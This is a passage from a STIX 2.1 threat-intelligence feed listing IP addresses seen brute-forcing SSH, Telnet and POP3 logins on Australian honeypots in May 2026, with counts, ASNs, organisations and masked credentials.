      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 15808. Organisation(s): ACCESSKENYA-KE ACCESSKENYA GROUP LTD is an ISP serving.",
      "id": "indicator--d0dc02f0-0000-458e-8c7b-080cc71683f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.215.77.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 214664. Organisation(s): JSC Buduschee.",
      "id": "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: JP. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--946a5e34-7887-4b8c-8347-8f2455412e4a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.79.38.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--fd7a2a03-7645-4924-8d61-7a9ccf1fc00a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '49.144.167.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 384. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--6df461d4-c7c4-4360-b6fe-e786c9e5fe7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.60.61.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 51918. Organisation(s): Cerberus Networks Ltd.",
      "id": "indicator--ea187d19-54d6-43ee-9292-98b7c48c0ff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '83.151.251.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T15:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 179. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 205275. Organisation(s): ROMARG SRL. Usernames observed (masked): u****u, a***n, r**t, 3**********4, d****y. Passwords observed (masked): 0********2, 1*******9, 1****e, 1**********f, 3***********4.",
      "id": "indicator--8b49c659-67b8-4afc-b41d-a4ac8ef6fe58",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.47.53.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:15:10.000Z",
      "valid_until": "2026-06-02T15:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 11845. Organisation(s): Vox-Telecom.",
      "id": "indicator--bb8bc578-2d76-4d31-ad19-a6a8122b8e14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.219.24.247']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BD. ASN(s): 38562. Organisation(s): Innovative Online Limited.",
      "id": "indicator--7564037f-f951-40d4-b4a1-d08bc0f3dcbd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.152.49.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266445. Organisation(s): SEA TELECOM LTDA.",
      "id": "indicator--fb532e2d-6b59-4e60-9894-937caa3f5af2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '149.102.88.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: HK. ASN(s): 142403. Organisation(s): YISU CLOUD LTD.",
      "id": "indicator--977ed99f-738e-4be6-ab79-c5672ef0b377",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.92.15.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--987f3fed-836f-4996-bd5b-c1831a3152b3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.104.189.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: AU. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--148ac717-1c79-420a-88f0-27d0b2948f7e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.173.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A.",
      "id": "indicator--fc069215-62bc-42d4-95b3-8f655884bdf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.179.196.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 32475. Organisation(s): Internap Holding LLC.",
      "id": "indicator--00b2ab8b-0fcc-4a2d-a876-33daee3e107e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '184.154.156.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 397423. Organisation(s): Tier.Net Technologies LLC.",
      "id": "indicator--9f822220-2d58-4d9f-a9ff-5caeb2a141e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.241.149.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 29802. Organisation(s): HIVELOCITY, Inc..",
      "id": "indicator--b94232cf-c20c-4209-b9bf-fbd424fb498e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '23.111.152.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--cfa7cf9d-c614-4130-99c5-4c51fea099b9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '50.6.8.185']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 12876. Organisation(s): Scaleway SAS.",
      "id": "indicator--1bd6233a-e3d8-4488-94ff-754864450a7c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '51.158.201.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--55adb66b-3292-414c-aff4-44993971d304",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 18501. Organisation(s): CyberCloud Professionals LLC.",
      "id": "indicator--62c92e8e-4739-4dfb-b7d3-e3c941423bcc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '69.64.67.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 8193. Organisation(s): Uzbektelekom Joint Stock Company.",
      "id": "indicator--71579dd0-b1b7-4408-91e1-0df58a4b6b27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '84.54.72.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T16:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd.",
      "id": "indicator--8da7fd86-050a-4f10-bc01-f4c5b4f47086",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.118.39.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:15:10.000Z",
      "valid_until": "2026-06-02T16:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 29465. Organisation(s): MTN NIGERIA Communication limited.",
      "id": "indicator--b9af73bf-4cc9-442f-969d-0db0dbaac536",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.90.124.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 140413. Organisation(s): PT. GAYUH MEDIA INFORMATIKA.",
      "id": "indicator--df05d8fb-b57a-48b9-a0df-58d81dad6bcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.151.34.138']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 9299. Organisation(s): Philippine Long Distance Telephone Company.",
      "id": "indicator--fce652dc-a677-4fc8-833a-1a1a88730af1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.204.175.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 17488. Organisation(s): Hathway IP Over Cable Internet.",
      "id": "indicator--432ec640-2994-4937-bb9a-6a538e2f2221",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '115.98.233.73']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 273315. Organisation(s): LIDER NET E SERVICOS DE MULTIMIDIA.",
      "id": "indicator--7b026113-2c63-4ba9-a365-81693f8d39a9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '128.201.186.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--f03a7c3d-54d5-4f38-8ac3-3dba51461311",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.56.251.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 40021. Organisation(s): Contabo Inc.. Usernames observed (masked): s*****t@kelltech.dev. Passwords observed (masked): K************3.",
      "id": "indicator--452a1020-05aa-4469-aaf8-9083ae747735",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '154.38.189.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--51a592fb-a8f9-423e-87d8-c7571fe7d53f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.105.148.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: IR. ASN(s): 213790. Organisation(s): Limited Network LTD. Usernames observed (masked): a***n@bardengineering.com. Passwords observed (masked): B******************@.",
      "id": "indicator--3d4c4524-ac4b-405b-b2d6-b271a9decdf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '172.94.9.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 28126. Organisation(s): BRISANET SERVICOS DE TELECOMUNICACOES S.A.",
      "id": "indicator--7b453c97-4a8d-425e-8f40-1629a6563a7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.37.179.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 27964. Organisation(s): RSO APOLO HIDALGO S.R.L..",
      "id": "indicator--a94053db-6d53-4a49-95a8-6684398fee78",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.4.85.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--358b12ed-08c9-4463-8fdd-151ad2bee7ee",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: US. ASN(s): 30633. Organisation(s): Leaseweb USA, Inc.. Usernames observed (masked): s***s@kelltech.dev. Passwords observed (masked): K*******!.",
      "id": "indicator--03ab2209-a44b-4f4c-ba09-0b116082f453",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T17:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '207.244.122.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T17:15:10.000Z",
      "valid_until": "2026-06-02T17:15:08.000Z"
    },
    {
      "created": "2026-05-01T17:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 9009. Organisation(s): M247 Europe SRL. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
